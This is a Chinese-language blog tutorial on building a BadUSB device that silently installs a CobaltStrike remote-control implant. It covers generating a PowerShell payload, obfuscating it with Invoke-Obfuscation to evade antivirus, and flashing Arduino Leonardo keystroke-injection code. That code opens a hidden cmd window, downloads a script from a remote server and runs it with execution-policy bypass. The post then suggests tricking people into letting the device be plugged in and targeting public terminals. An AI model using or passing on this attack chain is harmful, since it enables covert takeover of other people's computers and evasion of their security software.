BadUSB简单免杀一秒上线CobaltStrike

2020-07-01 09:57:09 浏览数 (1)

0x01 简单免杀制作

1.CobaltStrike服务端准备

启动服务端命令

代码语言:javascript复制
./teamserver 192.168.1.6 adm1nt1st

2.CobaltStrike客户端登录并导出PS远控

输入服务端IP端口密码,用户名随意写

设置监听器

Payload默认即可,端口尽量别冲突

选择Payload后门生成

生成PowerShell

运行保存在桌面的payload.ps1,在杀软全程开启的情况下直接上线(易翻车,运气好)

3.编码混淆

PowerShell的免杀可以用Invoke-Obfuscation,Invoke-Obfuscation主要是对ps1脚本进行免杀,需要现有一个ps的payload。

进入Invoke-Obfuscation目录后,在PowerShell中执行命令

代码语言:javascript复制
Import-Module .Invoke-Obfuscation.psd1
Invoke-Obfuscation

遇到权限报错问题可以参照:

https://blog.csdn.net/ebzxw/article/details/85019887

然后执行命令,指定待处理的Ps1文件

代码语言:javascript复制
set scriptpath c:xxxpayload.ps1

或者指定待处理的ps代码

代码语言:javascript复制
set scriptblock 'echo xss'

输入encoding 并选择编码方式,比如1

输入命令,导出免杀ps文件到指定路径

代码语言:javascript复制
out C:xxxxxx.ps1

运行上线,至此,简单免杀制作完成。

4.放到远程服务器备用

0x02 BadUsb制作

1.将硬件插入电脑

2.打开Arduino IDE

工具->板->选择"Arduino Leonardo"

端口->选择"COM (Arduino Leonardo)"

3.将以下代码粘贴到arduino

代码语言:javascript复制
void setup() {
  // putpower shell your setup code here, to run once
  Keyboard.begin();//开始键盘通讯 
delay(3000);//延时 
Keyboard.press(KEY_LEFT_GUI);//win键 
delay(500);
Keyboard.press('r');//r键
delay(500); 
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r'); 
Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("CMD  /q /d /f:off /v:on /k MODE con: cols=15 lines=1");  //无回显
//Keyboard.println("cmd /T:01 /K "@echo off && mode con:COLS=15 LINES=1"");   //有回显
delay(500);
Keyboard.press(KEY_RETURN); 
Keyboard.release(KEY_RETURN); 
delay(2000);
Keyboard.println("powershell");
Keyboard.println("$clnt = new-object system.net.webclient;");
Keyboard.println("$url= 'http://xx.xx.xx.xx/xxx.ps1';");  //远程服务器ps1远控地址
Keyboard.println("$file = 'd:\xxx.ps1';");      //下载到目标存放文件的地址
Keyboard.println("$clnt.downloadfile($url,$file)");  //采用分段执行绕过防火墙进程防护
Keyboard.println("powershell.exe -executionpolicy bypass -file d:\xxx.ps1"); //本地权限绕过执行木马脚本
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_CAPS_LOCK); 
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();//结束键盘通讯 
}
 
void loop() {
  // put your main code here, to run repeatedly:
 
}

代码大体意思:

代码语言:javascript复制
插入BadUsb后等待3秒
按下Windows R
切换大写绕开输入法
模拟输入字符串,最小化打开cmd窗口
隐藏输入特定命令,下载远控并调用powershell执行

4.接下来进行烧录程序

注意右下角,程序写到BadUSB里,别写错地方了,程序不报错证明成功

0x03 上线测试

1.电脑插入BadUSB

会有些许痕迹,大家后续集思广益可以自己改善

会有一个很小的cmd窗口,放大里边没任何内容

可以看到更新火绒库后不会报毒

2.打开CobaltStrike,发现已经上线

0x04 攻击场景

1.社工攻击

小姐姐小姐姐,我的电脑坏了,插不了U盘,你的借我插一下呗

2.带有USB接口的终端机

各场所终端机器,找到USB接口怼进去

3.其他应用场景自行脑补

0 人点赞